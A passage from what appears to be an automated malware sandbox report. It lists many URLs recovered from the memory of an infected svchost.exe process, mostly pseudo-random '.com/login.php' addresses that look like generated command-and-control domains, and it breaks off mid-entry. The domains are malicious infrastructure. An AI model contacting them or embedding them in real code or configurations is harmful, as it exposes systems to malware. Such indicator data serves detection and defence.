00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2280606997.0000000000882000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqypiz.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyqez.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303458885.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307211585.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2554924248.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyqis.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyres.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578065233.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyvob.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2433469264.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2430808473.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548643584.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527269285.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2541435217.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyzuw.com/login.php
Source: svchost.exe, 00000002.00000003.2772293102.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2783207555.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772917622.00000000033AF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatycis.com/http://ganyrew.com/http://pupycop.com/http://gatycis.com/
Source: svchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatycoh.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347564818.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337435190.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335316915.0000000008611000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatycyb.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772865274.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2769955415.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771520849.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatydab.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyfaz.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408310468.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3268596550.0000000008643000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153845839.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157288878.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408240997.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157020892.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151605214.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152200523.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3284179552.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2151945828.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2157370436.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2408435581.0000000008706000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.000000000165E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyfus.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353793003.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2351137108.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyhos.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyhub.com/login.php
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatykyh.com/H
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatykyh.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323585198.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatynes.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272828863.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272537462.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272290978.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2283080934.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2273007343.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2280606997.0000000000882000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatypub.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatypuz.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyqih.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyrez.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyruw.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801238635.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyzyw.com/login.php
Source: svchost.exe, 00000002.00000003.2440992752.000000000866F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyfex.com/
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434703123.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393409003.000000000338E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2581725706.0000000008785000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyfex.com/login.php
Source: svchost.exe, 00000002.00000003.2334859023.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337298832.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336661299.0000000003304000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336766554.0000000003353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyfir.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 